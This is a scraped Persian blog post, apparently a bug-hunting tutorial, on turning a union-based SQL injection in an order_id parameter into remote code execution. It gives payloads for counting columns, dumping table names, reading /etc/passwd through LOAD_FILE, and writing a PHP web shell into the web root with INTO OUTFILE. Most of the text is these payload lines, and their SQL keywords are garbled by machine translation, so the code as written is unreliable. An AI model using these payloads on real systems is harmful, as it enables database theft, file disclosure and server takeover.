https://virgool.ir/feed/@m_63980252fa2026-11-12 10:49:05https://virgool.ir/images/default-avatar.jpghttps://virgool.ir/@m_63980252https://virgool.ir/@m_63980252/تبدیل-باگ-sql-به-rce-بهره-برداری-بیشتر-ree3y6gajhg4روال کار به این صورت است که ما ابتدا تارگتی را مشخص میکنیم و خب ابتدا بررسی هی لازم را برای داشتن باگ sql انجام میدهیم . با یک سناریو میریم جلواز ساده ترین راه هاهدرهای HTTP Live را روشن کردم و تمام درخواست های این بخش را دریافت میکنیم و شروع به بررسی آن یک به یک ، پارامتر به پارامتر میکنیم ، و سرانجام آنچه را می خواهیم پیدا میکنیم تزریق SQL مبتنی بر اتحادیه در پارامتر Order_id POST order_id = 116564954 < ===== ورودی ما برای مثالبا استفاده از ORDER BY شماره ستون ها را بدست می اوریم-> ORDER BY 15order_id = -116564954 اتحادیه group_concat (جدول_ نام) را انتخاب کنید ، 2،3،4،5،6،7،8،9،10،11،12،13،14،15 information_schema.table- -بر فرض اینکه یوزرنیم و پسورد را به دست اوردیم میرویم سرااغ تست بعدی مانخواندن پرونده های سرور با استفاده از LOAD_FILEمی خواهیم پرونده های etc/passwd/ را بخوانیم order_id = -116564954 اتحادیه load_file ("/ etc / passwd") را انتخاب کنید ، 2،3،4،5،6،7،8،9،10،11،12،13،14،15– -order_id = -116564954 اتحادیه "RaafatSEC" را انتخاب کنید ، 2،3،4،5،6،7،8،9،10،11،12،13،14،15 را در متن "/ tmp / raafat" - -از طریق load_file خواندن را تست کردیم و کار کرد و خب تغییر متن و مسیر پرونده به کد ماorder_id = -116564954 union "<؟ php $ cmd = $ _GET [\ 'raafat \'] را انتخاب کنید؛ سیستم اکو ($ cmd) ؛ ؟> "، 2،3،4،5،6،7،8،9،10،11،12،13،14،15 INTOFILELE" /home/$path/rce.php شما– - /rce.php؟raafat=ls -laحسینحسینFri, 18 Dec 2020 21:05:27 +0330